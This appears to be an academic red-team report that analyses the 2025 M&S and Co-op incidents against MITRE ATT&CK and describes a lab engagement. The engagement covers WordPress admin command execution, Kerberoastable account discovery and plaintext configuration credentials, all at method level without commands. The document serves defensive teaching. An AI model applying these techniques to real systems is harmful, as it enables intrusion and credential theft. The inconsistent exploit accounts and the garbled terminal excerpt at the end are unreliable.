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[bookmark: _Toc237365212]Introduction 
[bookmark: _Toc237365213]Background 
Offensive security has grown from conventional vulnerability testing to adversary emulation that simulates realistic attacker behaviours, tactics, techniques and procedures (TTPs) to assess an organisation’s resilience. Unlink vulnerability assessments where only one finding is exploited to gain access, Red Team exercise tries to chain multiple findings to achieve a meaningful objective. Furthermore, it also tries to evaluate detection and response capability of an organization. Sophisticated and complex attacks (APTs) show how compromises of identity, lateral movement and operations, can all have severe financial, reputational and business-continuity consequences for organisations [1].   
[bookmark: _Toc237365214]Context 
A 2025 analysis of Marks & Spencer (M&S) and the Co-operative Group (Co-op) cyber incidents that resembles attack pattern TTPs failures of security control. The report provides a Red Team assessment of ABCD Ltd’s realistic corporate environment, comprising a threat analysis, technical exploitation, and detection-gap assessment.
[bookmark: _Toc237365215]Aim and Objectives
The aim of this report is to analyse the UK cyber-attacks that highlight the security-control principles and detection requirements by conducting simulated corporate environments, resulting in TTPs security-control. 
· To analyse cyber-attacks such as UK’s M&S and Co-op cyber incidents.
· To analyse relevant behaviours of MITRE ATT&CK.
· To identify root causes and control failures of UK cyber-attacks.
· To design a controlled adversary-emulation campaign.
· Evaluating a detection by using simulated cyber-attacks leads to help in response gaps.
· To develop UK-aligned strategic recommendations.
[bookmark: _Toc237365216]Report Structure 
The report consists of two interconnected tasks. Task 1 analyzes M&S’ and Co-op’s incidents including their timeline, adversary TTPs, root causes, threat actors, detection and response gaps. The applied lessons from the ABCD Ltd Red Team engagement through lab design, threat emulation, exploitation and evidence analysis. The results are combined to formulate risk-oriented security recommendations aligned to the UK before concluding overall.
[bookmark: _Toc237365217]METHODOLOGY
[bookmark: _Toc237365218]Uses 
This study takes a structured evidence-based approach using peer-reviewed literature sourced from IEEE, ACM and ScienceDirect. Lastly, this evidence will be supported by credible sources such as the UK National Cyber Security Centre (NCSC), Information Commissioner’s Office (ICO), MITRE ATT&CK a statement from organisations, security-vendor reports and news organisations. There’s much important information available through academia, government and the industry on recent threat intelligence (RTI) and specific incidents [2].  The NCSC Cyber Assessment Framework provides an outcome-focused framework for assessing resilience to cyber risk. MITRE ATT&CK allows systematic analysis of adversary TTPs. To maintain academic credibility, sources like Wikipedia, forums, eHow and unsupported personal blogs are excluded.
[bookmark: _Toc237365219]Analytical
Analytical chain, 
1. Incident
2. TTP
3. Vulnerability/Control
4. Detection Gap
5. Business Risk
6. Recommendation
This approach goes beyond describing attack events to develop a critical connection between adversary behaviour with failed security controls, organizational impacts and appropriate mitigations to enable evidence-based, risk-focused recommendations.
[bookmark: _Toc237365220]Practical Things 

[bookmark: _Toc237365274]Figure 1: Red-team lifecycle

The engagement is essentially a series of activities. Each activity is performed under lab conditions with the requirement to document technical evidence and reasoning. The activities remain segregated; hence the safety boundaries and integrity of the evidence remain intact. Also, the analysis references ATT&CK for consistency with threat actor behaviour.
[bookmark: _Toc237365221]TASK 1 - Strategic Threat Analysis (The M&S & Co-op UK Cyber Attack)
[bookmark: _Toc237365222]1.1 INCIDENT ANALYSIS 
A sophisticated cyber incident caused disruption of Marks and Spencer (M&S) customer-facing and internal operations in April 2025 [3]. According to an M & S report dated 23 April, the stores continued to remain open but contactless payments, and Click and Collect collection were suspended. Further, some online deliveries were delayed. A company announced on 25 April that they will pause its online and app orders but will keep products open for browsing. M&S implemented incident management protocols, collaborated with cyber security experts, and progressively restored systems. M&S estimated there would be around a £300 million impact on 2025/26 operating profit before mitigation, insurance and trading actions [4]. 
On May 2, 2025, the Co-operative Group revealed that it was under persistent malicious attempts aimed at gaining access to its systems; the situation is being investigated with the NCSC and NCA. A forensic investigation determined attackers accessed and retrieved data from a single system, including names and contact details of members. However, passwords, payment-card details and transaction information weren’t accessed. Co-op then called the incident a multi-phased cyber-attack where security investment, intentional segregation of systems along with regular testing aided its response. By 14 May, Co-op was back up and running. It had restored supply and payment functionality and was bringing systems back online.
[bookmark: _Toc237365223]1.2 TIMELINE AND ATTACK CHAIN 
	Date
	Organisation
	Key event
	Security significance / evidence

	19–22 Apr 2025
	M&S
	The attack happened on the Easter weekend
M&S then described it as a sophisticated cyber-attack.
	M&S shows that a deal took place before the public disruption, but M&S did not publicly confirm the initial-access technique [5].

	22 Apr 2025
	M&S
	M&S publicly declared the cyber-attack and started taking operational security measures.
	Some activities to contain the disease began.

	23 Apr 2025
	M&S
	Delivery delays occurred but stores were open as Click & Collect and contactless payments impacted.
	Operations show a quick shift from cyber breach.

	25 Apr 2025
	M&S
	M&S paused online orders through websites and apps for browsing but leaving products viewable.
	Customer impact proactive isolation reduced further exposure to significant revenue [6].

	1 May 2025
	UK/NCSC
	NCSC has confirmed that they are helping the companies involved in the operation.
	Technical support commenced formal national-level response.

	2 May 2025
	Co-op
	Co-op confirmed the ongoing attempts at gaining access for malicious purposes and that the forensic investigation has to date identified an incident of unauthorised access and data extraction from one of its systems.
	Payment information was not confirmed, data compromise which highlighted the details were accessed the passwords [7].

	4 May 2025
	UK/NCSC
	Following the attacks on retail, the NCSC issued guidance across the sector highlighting the wider ransomware/extortion threat [8].
	Sector-wide defensive learning highlights the shift from individual incident response towards.

	13 May 2025
	M&S
	M&S has since reported that the incident continued to have a material impact and provided further details about its response.
	Ongoing activities remained recovery business-resilience.

	14 May 2025
	Co-op
	Co-op began recovery after successfully taking some systems offline as stock ordering returns to the web and payment systems are restored in stores.
	Immediate recovery restoration system.

	19 May 2025
	M&S
	M&S calculated a £300m impact on 2025/26 operating profit, prior to mitigation and insurance actions.
	The business consequence of cyber disruption highlights the quantification of the strategy.

	2025–26
	Both
	Organisations kept spending on recovery, remediation and security after the attacks.
	Financial consequences rather than short-term IT outages demonstrate that major cyber incidents create prolonged operations [9].


[bookmark: _Toc237365284]Table 1: Incident Timelines

[bookmark: _Toc237365224]1.3 TTP ANALYSIS 
[bookmark: _Toc237365225]1.3.1 TTP Mapping Diagram
[image: ] 
[bookmark: _Toc237365275]Figure 2: TTP Mapping for M&S & Co-op Campaign

[bookmark: _Toc237365226]1.3.2 Analysing key Tactics, Techniques, and Procedures 
	No.
	ID
	Tactic & Technique
	Justification 

	1
	T1589
	Gather Victim Identity Information
	Scattered Spider technique aids in impersonating employees or IT staff, providing necessary information to kick-start credential-based assaults on organizations’ environments.

	2
	T1684.001
	Social Engineering: Impersonation
	According to MITRE, Scattered Spider has been impersonating legitimate IT/help-desk staff over calls and messages [10]. The trust between organizations was exploited by attackers to manipulate employees and allow access, resulting in credential compromise.

	3
	T1566.004
	Phishing: Spear phishing Voice
	The Scattered Spider group is known for doing voice phishing on employees to steal credentials or get their hands on their organisation’s system or platform [11]. Because email filters usually don’t protect us against social engineering over the phone, we need better identity verification and phishing-resistant authentication.

	4
	T1078
	Valid Accounts
	The documents of scattered spiders are designed by MITRE. These documents are difficult to distinguish from the legitimate users. Hence, abnormal authentication can be detected by utilizing identity telemetry, conditional access, behavioural analytics and phishing-resistant MFA [12].

	5
	T1556.006
	Modify Authentication Process: MFA
	After compromising accounts, Scattered Spider registered attacker-controlled MFA tokens. They can offer a backdoor to access it again after a password reset. This technique shows why MFA by itself is not enough if help-desk processes or identity-management controls can be socially engineered [13].

	6
	T1621
	Multi-Factor Authentication Request Generation
	MITRE notes that the hacker group Scattered Spider uses MFA fatigue by sending people continuous requests for authentication until they accept a fraudulent request. This strategy takes advantage of human behaviour rather than a technical flaw. Moreover, it exemplifies the role of number matching, FIDO2, and user-awareness controls.

	7
	T1087.002
	Account Discovery: Domain Account
	Scattered Spider used enumeration techniques against legitimate domain accounts within targeted environments to Identify users as well as potentially privileged identities [14]. Such discovery allows attackers to understand the identity structure and choose accounts that might enable privilege escalation or lateral movement.

	8
	T1018
	Remote System Discovery
	According to MITRE, Scattered Spider has the capability to enumerate remote systems. By determining reachable systems an attacker may construct an internal attack path and further may target them for lateral movement, credential theft which is more elaborate and impactful operational disruption [15]

	9
	T1021.001
	Remote Services: RDP
	Scattered Spider has employed RDP for lateral movement inside compromised environments [16]. Legitimate administrative procedures may fan into the normal course of events. Also, unusual source-destination relationships, privileged RDP sessions, as well as authentication anomalies present useful detection opportunities.

	10
	T1486
	Data Encrypted for Impact
	MITRE states that Scattered Spider has deployed BlackCat, DragonForce and other ransomware to encrypt the systems of its victims for profit.  This explains how credential and network compromise turns into operational disruption and extortion.


[bookmark: _Toc237365285]Table 2: 10 key TTPs

[bookmark: _Toc237365227]1.4 Root Cause 
The incidents at M&S and Co-op indicate that the main underpinning cause was a compromise of identity, combined with deficiencies in organisational resilience instead of a single software flaw. The public evidence does not show every technical step of either intrusion; the analysis here distinguishes confirmed findings from reasonable security inferences.
[image: ]
[bookmark: _Toc237365276]Figure 3: Root-Cause Analysis of the M&S and Co-op Cyber Attacks

Human beings and identity were particularly important. The threat activities reported showcase the use of social engineering and compromised credentials as a means for attackers to circumvent perimeter controls for a legitimate identity. Thus, vulnerabilities in authentication, privileged- access governance and identity verification become strategic entry points.
The impact was amplified due to design intricacies. M&S had to disconnect warehouse management systems, stop online ordering and impose manual workarounds highlighting how failure of interconnected operational tech and business systems can flow through to customer services. The Co-op also isolated its systems to contain the attack, creating a major disruption to operations. 
Limitations in detection and response also had an impact. Based on the great containment as well as controlled restoration need, this situation required prompt isolation rather than restoration to avoid further compromise [17]. The Co-op gradually restored systems for recovery. M&S embarked on a longer-term security enhancement programme.
[bookmark: _Toc237365228]1.5 Security Control Failures
[bookmark: _Toc237365229]1.5.1 Technical
The available public evidence does not point to a particular unpatched vulnerability or misconfiguration as the cause of either attack; thus, these facts should not be assumed to be true. Nevertheless, the incidents reveal shortcomings in technical controls relating to identity protection, authentication and system isolation [18]. M&S disruption in online ordering, payment and operational systems suggests compromise may be causing problems across technology.  
The failed controls that are applicable may be mapped to: 
· Secure configuration
· Vulnerability management
· MFA protection
· Privileged-access management
· Network monitoring. 
The key lesson is that technical controls must stop compromised identities from becoming gateways into broader operational architectures. 
[bookmark: _Toc237365230]1.5.2 Organisational
The impact of the attack was magnified by weaknesses. Co-op’s incident was qualifying as a multi-stage cyber-attack. The consortium’s subsequent lessons included ensuring systems are segregated, security investment, and regular testing. Following the attack, M&S also needed significant operational containment and recovery [19]. It is essential for the segmentation policy to be clearly defined, for the management of third-party risk, incident response, business continuity planning and security assurance. The pertinent control failures must therefore be seen as governance and resilience deficiencies, not as the mere existence of a technical flaw [20]. NIST Cybersecurity Framework, ISO 27001 and Zero Trust provide proper juxtaposition.
[bookmark: _Toc237365231]1.5.3 Human Factors
Human-targeted social engineering contributed notably to the reported threat activity. The scattered spider is said to engage in social engineering, including impersonation and voice phishing, to gain access. Journalists linked social engineering with a third party to the M&S incident report.  It is therefore relevant to consider failed controls in security awareness training, phishing-resistant MFA, help-desk identity verification, and privileged-account approval processes. The conventional password-based authentication system is susceptible when employees or support staff are manipulated by an attacker [21]. As a result, organizations should deploy FIDO2/passkeys, number-matching MFA, independent identity verification & regular social-engineering exercises to reduce human-factor exposure.
[bookmark: _Toc237365232]1.6 Threat Actor Profile & Motive
[bookmark: _Toc237365233]1.6.1 Likely Threat Actor Profile and Motive
It is most likely that Scattered Spider (MITRE G1015) rather than a state-sponsored APT is the true culprit. MITRE characterizes this cyber entity as possessing excellent verbal communication skills in English. They heavily rely on social engineering contexts. Furthermore, they impersonate help desks to gain user trust. Bypass multi-factor authentication, also known as MFA [22]. Moreover, they use compromised account credentials. The retail industry mentions the extension of this group’s activity. The group is known to have also leveraged ransomware for financial gain, adapting tooling to evade EDR controls [23].  The assessment of this capability is therefore high, especially for identity compromise, social engineering, cloud environments and ransomware. The main motive is financial crime, which includes data theft, extortion, and disruption of operations rather than espionage.
[bookmark: _Toc237365234]1.6.2 Alternatives
The attribution is still not fully certain and should not be taken as proven. Recent reports associated M&S with Scattered Spider and DragonForce, but M&S did not immediately confirm the actor publicly. A plausible explanation is a criminal affiliate model whereby Scattered Spider is responsible for the initial access and identity compromise and a ransomware operation like Dragon Force provides encryption and extortion capabilities [24]. This aligns with past Scattered Spider occurrences that aimed to financially profit from ransomware. Societal engineering strategies and ransomware are used by other independent criminal actors making their complete exclusion impossible [25]. Thus, the report should characterize Scattered Spider as the most likely reported attribution and not an independently verified certainty.
[bookmark: _Toc237365235]1.7 Detection & Response Analysis
[bookmark: _Toc237365236]1.7.1 Vendor
During incidents, security vendors and external cyber specialists contributed technical expertise, especially with regard to forensic investigation, containment and recovery. As soon as the incident was detected, M&S brought in cyber-security specialists. Meanwhile, Microsoft’s other experts were said to be supporting the investigation and remediation [26]. As a result of compromise, vendor support was effective in identifying compromised systems and restoring operations. Despite vendor controls being in place, they could not prevent the initial identity-based compromise. Endpoint protection alone is not sufficient against social engineering and legitimate-account abuse.
[bookmark: _Toc237365237]1.7.2 Victim
M&S's and Co-op's crisis management and business-continuity responses were strong but different detection issues arose. M&S spotted the issue around the Easter weekend and swiftly limited services like online ordering and operations. This curtailed any further exposure, but caused much disruption to the business. After detecting malicious activity, Co-op isolated its systems and began restoring its services gradually after consulting with authorities. The account later stressed segregation value, security investment and regular testing. The main gap was the attackers’ ability to gain legitimate access before triggering sufficiently visible indicators. As such, conventional endpoint detection needs to be complemented by continuous identity monitoring. 
[bookmark: _Toc237365238]1.7.3 Third-Party
The overall response was highly dependent on third parties. The NCSC confirmed on 1 May 2025 that it was working with affected retailers, before issuing cross-sector recommendations to minimise harm and enhance resilience [27]. The ICO has also received reports from M&S and Co-op and is working with the NCSC on the issue. The NCA also gets involved in the probe. Yet, detection often came before third-party leak prevention intervention.  Following the attack, the priority is clearly to enhance supplier assurance, incident-sharing procedures, escalation and joint exercises beforehand.
[bookmark: _Toc237365239]1.8 Strategic Recommendations
[bookmark: _Toc237365240]1.8.1 Prevention
ABCD Ltd ought to use phishing-resistant MFA (FIDO2/passkeys), privileged–access management and conditional access to stop compromised identities from becoming attack paths. Continuous authentication, device/user verification, and enforcing least privilege are essential features of Zero Trust. Network segmentation and restrictive firewall rules should be implemented to isolate critical retail, corporate and administrative systems from damage and limit lateral movement [28]. The management of patches and secure configurations in a centralized manner should reduce exploitable exposure [29]. The procedures of help-desk identity verification and security awareness training include social engineering. Centralize Telemetry for Authentication, Privileged Account, and More 
[bookmark: _Toc237365241]1.8.2 Detection
ABCD Ltd must undertake 24/7 SIEM Implementation and put EDR/XDR to correlate identity, endpoint, cloud and network events. Successful and failed logins, impossible-travel events, MFA requests, new MFA registrations, PR changes, PowerShell/command execution, RDP sessions, DNS queries, firewall flows and unusual data transfers. UEBA should alert when a user or administrator behaves abnormally and network segmentation should generate alerts for east-west linkages with an unauthorised flow. Detection rules ought to be designed to specifically target fatigue, help-desk account changes, privileged-account anomalies and remote-access tools. Security coverage against the MITRE ATT&CK framework must be validated quarterly through red team exercises.
[bookmark: _Toc237365242]1.8.3 Response
ABCD Ltd must have a robust Incident Response Plan with pre-defined containment measures, escalation parameters, communication protocol and legal limit. Automated playbooks capable of doing the following actions should be part of SOARs. 
· Disable accounts that are compromised
· End sessions/tokens
· Isolate endpoints
· Block malicious connections on the network
· Preserve evidence that is forensic in nature. 
[bookmark: _Toc237365243]TASK 2 - Red Team Engagement: ABCD Ltd (Complete Penetration Testing)
[bookmark: _Toc237365244]2.1 Rules of Engagement (RoE)
[bookmark: _Toc237365245]2.1.1 Scope
The assessment is limited to the authorised Virtual Lab of ABCD Ltd, which has three designated VMs, internal services, web apps and dummy data.
[bookmark: _Toc237365246]2.1.2 Permitted Techniques
You are permitted to passively recon, enumerate services, scan for vulnerabilities, exploit vulnerabilities in a controlled way, test credentials against the provided accounts, privilege-escalate, move laterally, test the web application, conduct limited C2 emulation, and conduct living off the land. Testing shall remain in the isolated laboratory. Use dummy data, avoid destructive payloads and keep evidence for later analysis.
[bookmark: _Toc237365247]2.1.3 Excluded Systems
Anything that’s out of scope is considered by us and here are the things which are out of scope. 
· External systems
· Public Websites
· Third party infrastructure
· Production environments
· Personal devices
· Live customer accounts
· Payment systems
· External cloud assets
These resources and networks outside the laboratory planting of denial-of-service attacks, destructive malware, launching of ransomware, permanent alteration of data, uncontrolled collecting and attacking of passwords and attacks against unconnected third parties are prohibited.
[bookmark: _Toc237365248]2.1.4 Kill Switches
· “RED STOP” stops all testing immediately. 
· “AMBER HOLD” will halt all testing and activities. 
Further instruction from a supervisor to stop testing and associated activities will override all tests.
[bookmark: _Toc237365249]2.1.5 Communication Channels
Critical findings that operators uncover are communicated via the incident-response slack/teams’ channel and telephone escalation tree immediately. In the event of an emergency, escalate from the Red Team Lead to ABCD Security Lead, to Executive Sponsor.  In critical events, confirm verbally, document incident, time-stamp evidence, and agree on next containment actions.
[bookmark: _Toc237365250]2.1.6 Legal & Ethical Constraints
Testing is done only with documented authorization of scope and informed consent of ABCD Ltd. The activities must comply with relevant UK law, contract terms, data-protection regulations and ethical principles. Operators should reduce damage, safeguard confidentiality, prevent wrongful access, ensure evidence remains untampered and report scope deviations and safety events immediately [30].
[bookmark: _Toc237365251]2.2 Threat Emulation Plan
[bookmark: _Toc237365252]2.2.1 Mapping the Plan
[image: ] 
[bookmark: _Toc237365277]Figure 4: ABCD Ltd Threat Emulation Campaign

The proposed campaign logically follows an adversary sequence from reconnaissance and initial access to execution; credential access, privilege escalation, discovery, lateral movement and collection. Each phase corresponds to MITRE ATT&CK to give measurable behavioural goals. The campaign ends at an authorized dummy-data target, followed by evidence preservation and containment [31]. This structure allows the Blue Team to carry out a detection-gap analysis while being in the laboratory: this is only achievable due to the boundaries being clearly defined, while rollback processes are safe.
[bookmark: _Toc237365253]2.2.2 Objectives 
· Verify detection of real-world attack behaviours. 
· Use three different exploits on 3 VMs.
· Show regulated side-to-side motion and privilege upgrade.
· Check whether dummy sensitive data can be accessed while maintaining safety, evidence integrity and permitted laboratory limits.
[bookmark: _Toc237365254]2.2.3 Success Criteria
Successful engagement occurs if the Red Team demonstrates three separate authorised exploits against different services or VMs, achieves the objectives of the lab exercise and records reproducible evidence consistent with earlier phases. Other criteria include successful mapping to ATT&CK, commands and artefacts documented, opportunities for detection identified, logs/screenshots/PCAP preserved, no impact on outside systems confirmed, and successful containment and rollback.  The recommendations on weaknesses in prevention, detection and response.
[bookmark: _Toc237365255]2.2.4 Sequence of Attack Phases
The campaign starts with reconnaissance and enumeration of an isolated ABCD Ltd network to identify hosts and services and vulnerable apps. First, Initial Access targets the authorized web application on VM-2 with a controlled exploit [32]. When access is accomplished, the operator executes and credential.accesses, followed by controlled privilege escalation. Discovery finds services within the lab, along with hosts and networks. We apply approved techniques to simulate lateral movement towards VM-1 and VM-3. The operator uses only the pre-established sample data for demonstration purposes.
[bookmark: _Toc237365256]2.3 Lab Environment Design 
[bookmark: _Toc237365257]2.3.1 VM-1: Windows Server
[image: ] 
[bookmark: _Toc237365278]Figure 5: VM-1 Active Directory Domain Controller

VM-1 is the core identity infrastructure of ABCD Ltd and provides Active Directory Domain Services and DNS to the laboratory. Both standard and privileged accounts are contained in order to allow realistic identity and lateral-movement testing.  The server must not access the Internet and should connect only with authorized lab VMs [33]. Audit security for authentication, privilege changes, account activity as well remote-service events. VM-1 would be regarded as a high-value target from a defensive standpoint, as compromise of the domain controller would provide extensive control over the simulated organisation. Monitoring lateral movement detection and containment at domain-level without exposing real infrastructure of the organisation.
[bookmark: _Toc237365258]2.3.2 VM-2: Linux Web Server
[image: ] 
[bookmark: _Toc237365279]Figure 6: VM-2 Vulnerable Web Server

The Internet facing application layer of ABCD Ltd is represented by VM-2. It is placed behind the isolated laboratory rather than the Internet. A web application with a fake database entry is hosted on a Linux OS.  The environment serves as the initial access objective for the Red Team and enables the controlled assessment of application security and post-exploitation behaviour of service enumeration [34]. Keep logs of web-server access and errors to help Blue Team analysis. The VM also provides an opportunity to examine whether compromise of exposed application can lead to internal resources. Testing continues to only occur in the authorised application, not in honest external system interactions.
[bookmark: _Toc237365259]2.3.3 VM-3: Windows Client/File Server
[image: ] 
[bookmark: _Toc237365280]Figure 7: VM-3 Windows Client / File Server

VM-3 is a corporate Windows endpoint as well as a controlled file-storage environment which contains synthetic sensitive information. The test environment is added to the simulated abcd.local domain and has built-in test accounts and a limited file share. The fake data set helps the Red Team showcase a clear measurable objective without accessing genuine client or internal business data [35]. The retention of data on file access, authentication, and process telemetry should be sustained in order to support the analysis of detection data [36]. VM-3 serves as a realistic target to evaluate lateral movement from another compromised system. Its separation from outside networks ensures that successful exploitation remains confined in the lab. The main areas of security focus are endpoints, access, credentials, files and lateral movement detection.
This architecture satisfies all requirements in assignment pertaining to three VMs, network design, different roles, controlled exploitation, evidence gathering and containment. More so, it also satisfies Level 7 requirement of demonstrating practical application of offensive-security methodologies.
[bookmark: _Toc237365260]2.4 Exploitation Requirements 
[bookmark: _Toc237365261]2.4.1 Exploit A
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[bookmark: _Toc237365281]Figure 8: Exploit A

Preconditions
The isolated attacker host was able to reach the target web application (DC-9/WordPress-based vulnerable web service).  It was possible to enumerate through content. Authorised laboratory tests obtained valid administrative credentials afterwards.
Details
The web application had weak authentication controls and an insecure admin functionality. Once authenticating, admin Features provided a path for server-side Command Execution.
Method
The assessment first identified valid user information of the application. 
1. Commands 
2. User identification.
3. Authentication Assessment
4. Verification of administrative access.
5. Execution of orders under control.
6. Commands for System identification.
Artifacts
1. Website access logs.
2. Proof of Authentication. 
3. Administrative activity Logs 
4. Running commands evidence 
5. Command line screenshots.
When the application ran operating-system commands in the web-server account, it demonstrated system execution, showing that the code can be executed remotely. Screenshots taken of the output of commands and session activities as proof.
[bookmark: _Toc237365262]2.4.2 Exploit B
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[bookmark: _Toc237365282]Figure 9: Exploit B

Preconditions
Access to the laboratory environment was already achieved. The purpose of creating deliberately vulnerable service accounts and Kerberoastable service principal names (SPNs) within the Active Directory was for security assessment. 
Details
The domain setting had probably suffered an attack using weak passwords and exposed SPNs. The chance of compromise of domain and privilege escalation increases when the credentials management is poor. 
Method
The evaluation concentrated on listing accounts and evaluating service tickets. Service accounts were recognized and found to be Kerberoastable. Because of tooling limits, the complete ticket extraction was not possible. Native Windows enumeration, though, confirmed the presence of vulnerable accounts and was capable of showing the privilege-escalation path available to an attacker.
Commands Run
· Recognition of domain accounts.
· SPN detection.
· Listing services of Active Directory.
· Verification of authentication.
· Add an adequate response.
Artifacts
· Logs of security incidents.
· Results of SPN enumeration.
· Documents that verify identification.
· Website snapshots.
· RDP session proof. 
Successful detection of Kerberoastable service accounts and confirmation of potentially weak-password service credentials existing in the domain. The method had a successful way to privilege escalation and domain compromise.
[bookmark: _Toc237365263]2.4.3 Exploit C
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[bookmark: _Toc237365283]Figure 10: Exploit C

Preconditions
After successful entry to the web environment, assessment sought entry to information that is sensitive corporate data. The configuration files with database credentials and application secrets were stored in the target system.
Details 
Application configuration files contained sensitive credentials stored in plaintext. Due to inadequate safeguards, configuration data was exposed and could be retrieved by authenticated users with elevated application access who should have been protected through encryption, secrets management or access control.
Method
Utilizing previously established valid access, the analysis reviewed application configuration files and found exposed credentials. The attacker seeks information after attaining a foot hold within the environment which a hacker gains. No data theft; the goal was to test presence.
Commands Run
1. Exploring files.
2. Review the configuration file.
3. Credential unearthing.
4. Authorisation check.
5. Gathering Evidence.
Artifacts
1. Screenshots of configuration files.
2. Credential hunt documents.
3. Log file.
4. End product
5. Proof images.
Through the use of the application configuration file, plaintext database credentials were discovered, resulting in success. Through post-compromise activity, confidential data could be accessed and this document was the sensitive data objective of the assignment.
[bookmark: _Toc237365264]2.5 Tools & Techniques
	Tool / Technique
	Attack Stage
	Evidence/Use

	Kali Linux
	Reconnaissance to Exploitation
	Attacker workstation

	Nmap
	Reconnaissance
	Identify available services

	Gobuster
	Reconnaissance
	Discover hidden web resources

	WPScan
	Reconnaissance / Initial Access
	Identify WordPress attack surface

	Burp Suite
	Web Exploitation
	Analyse and manipulate authorised web requests

	Firefox
	Initial Access
	Browser-based application testing

	WordPress Admin Dashboard
	Exploitation
	Controlled administrative testing

	Linux Bash
	Execution
	High-level post-exploitation validation

	Windows CMD / PowerShell
	Discovery / Privilege Assessment
	Native Windows activity

	Active Directory tools/commands
	Credential Access / Discovery
	Identify vulnerable service accounts

	GTFOBins Reference
	Privilege Escalation
	LOL technique research

	Living-off-the-Land (LOL)
	Execution / Privilege Escalation
	Supports realistic adversary emulation

	RDP
	Lateral Movement
	Validate remote-service exposure

	PCAP / packet capture
	Detection / Forensics
	Demonstrate network activity

	Windows/Linux logs
	Evidence Collection
	Authentication, process and service evidence

	Screenshots
	Evidence
	Practical assessment evidence


[bookmark: _Toc237365286]Table 3: Tools & Techniques Used

The hands-on evaluation employed a blend of numerous tools including Kali Linux, Nmap, Gobuster, WPScan, Burp Suite, Firefox, Linux Bash, Windows native commands, Active Directory tools, and RDPs and GTFOBins to imitate realistic Red Team conduct. The primary testing environment was Kali Linux, while Nmap provided host, port and service enumeration. A web resource which identifies a vulnerable web-application attack surface such as WordPress and user enumeration is Gobuster and WPScan enabled [36]. By using Burp Suite, we had full control to analyze all web requests and the behaviour of our application. Similarly, using Firefox we are allowed to interact with our target application, with authorisation.
After first access, we used Linux Bash and Windows native tools to control commands and explore the system without extra malware. Identification of domain accounts and service-related weaknesses was supported by Active Directory enumeration while RDP was a legitimate remote service to lateral movement assessment. GTFOBins was used as a reference for legitimate Linux binaries and Living-off-the-Land techniques.
The tools aided the attack from reconnaissance and enumeration through to exploitation, credential assessment, privilege escalation, lateral movement, and evidence collection. This enabled the collection of screenshots, logs, and network evidence for future detection-gap analysis. Tools like Cobalt Strike or Responder should not be claimed as used unless independently proven in ST4-1. 
[bookmark: _Toc237365265]2.6 Operational Execution
[bookmark: _Toc237365266]2.6.1 Virtual Lab
The authorized AWS lab environment was used for the campaign, which progressed from reconnaissance and web enumeration to controlled exploitation, privilege escalation and sensitive-data discovery. Practical evidence recorded three ways for exploitation: WordPress compromise and command execution technique, SUID-based privilege escalation, and configuration-file credentials discovery. All tasks stayed within the assessed boundary limit.
[bookmark: _Toc237365267]2.6.2 Prioritising Stealth
In order to achieve stealth, a measured, targeted enumeration strategy was employed instead of a general scan and the activity was restrained to only those laboratory systems that were authorised. Where possible, authentic administrative functions and native OS utilities were favoured. The goal was to emulate attacker behaviour that is realistic and not destructive, overly persistent or disruptive to the lab.
[bookmark: _Toc237365268]2.6.3 Detection Evasion
The assessment on evasion-detection aimed at determining how much essentially normal legitimate administrative activity and operating-system activity could confidentially mix with normal behaviour. The engagement sidestepped destructive malware and unnecessary payloads. The Blue Team was able to analyze logs and terminal evidence, which showed which activities gave rise to observable indicators and where monitoring or correlation controls were lax.
[bookmark: _Toc237365269]2.6.4 Realistic operator trade-offs
The most important operational trade-off was realism versus safety and evidence quality. The operator selected control techniques which demonstrated a compromise without damaging any systems or data. Due to restrictions in infrastructure, execution was affected so exploitation was carried out against the running ColdBox system and the limitation was documented. 
[bookmark: _Toc237365270]2.7 Containment & Safety 
The authorised virtual laboratory in which the Red Team assessment was performed restricted testing activities to certain systems and dummy data. The laboratory boundary stopped any interaction with external victim infrastructure, while the scope of engagement explicitly prohibited using public websites, production systems, third-party infrastructure, personal devices, payment systems, and real customer accounts. This ensured that exploitation remained limited to the assessment environment.
Documenting proofs refer to the use of AWS infrastructure and a laboratory environment in isolation. The evaluation documentation also finds containment and rollback as mandatory safety documentation.
The rollback method aimed to cease the ongoing test, preserve material evidence, isolate defective machines, and restore each VM from a clean snapshot or backup. The connectivity of the networks would be re-validated before returning to the original setup.
Another practical limitation worth mentioning is that Mr Robot and FristiLeaks did not boot correctly, thus making it impossible to use them safely for exploitation. Instead of circumventing the issue through uncontrolled changes, testing was limited to the functioning laboratory target and the restriction was documented.
[bookmark: _Toc237365271]Conclusion 
The M&S and Co-op incidents were not just technical issues, but rather enterprise-wide security and resiliency challenges, such as identity theft, social engineering, systems interactions, detection challenges and operational dependencies. The ABCD Ltd exercise did likewise demonstrate that reconnaissance, web exploitation, privilege escalation and sensitive-data discovery can form an end-to-end attack chain. As such, effective defence requires defence-in-depth rather than one security product. The NCSC considers ransomware one of the most serious threats facing UK organisations; its operational impacts have been shown in the M&S and Co-op incidents.
ABCD Ltd must adopt measures like MFA, least privilege, conditional access and privileged access management. It would lessen the chance that hackers can move freely within the systems. According to the CEO of Co-op, they believe that system segregation, security investment and frequent testing were the foundations of its response.
ABCD Ltd should do regular adversary-emulation and incident-response exercises involving the management, suppliers and technical teams. The NCSC’s Cyber Incident Exercising scheme specifically advocates controlled exercises to practice, evaluate and improve incident-response plans. M&S also set up a longer-term security-enhancement programme after the incident, showing that sustained improvement is needed not just one-off remediation.
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[ubur;tu@m—le:le—l—ill:~$ 1sblk

NAME MAJ:MIN RM  SIZE RO TYPE MOUNTPOINTS
loop@ 7:0 © 28.4M 1 loop /snap/amazon-ssm-agent/13349
loopl ] 74M 1 loop /snap/core22/2411
loop2 © 115.1M 1 loop /snap/1xd/40115
loop3 @ 50.1M 1 loop /snap/snapd/27591
nvme@nl 0 86 @ disk

vme@nlpl @ 7.96 @ part /
vaeanlplb ] 4M @ part

vme@n1pls © 106M 0 part /boot/efi
nvmelnl [} 86 0 disk

vmelnlpl ] 76 @ part

vmelnlp2 ] 1K @ part

vmelnlp5 @ 1022M 0 part

[ubuntu@ip-10-10-1-111:~$
ubuntu@ip-10-10-1-111:~$ sudo mkdir -p /mnt/dc9
sudo mount /dev/nvmelnlpl /mnt/dc9

[1s /mnt/dc9

bin boot dev etc home initrd.img initrd.img.old 1ib 1ib32 1ibé4 1ibx32 lost+found media mnt opt proc

[ubuntu@ip-16-16-1-111:~$ sudo rm —-f /mnt/dc9/etc/udev/rules.d/70-persistent-net.rules
[ubuntu@ip-10-16-1-111:~$ cat /mnt/dc9/etc/network/interfaces

# Automatically generated by the vm import process

auto lo

auto ethe

iface lo inet loopback

iface eth@ inet dhcp

[ubuntu@ip-16-16-1-111:~$ cat /mnt/dc9/etc/network/interfaces
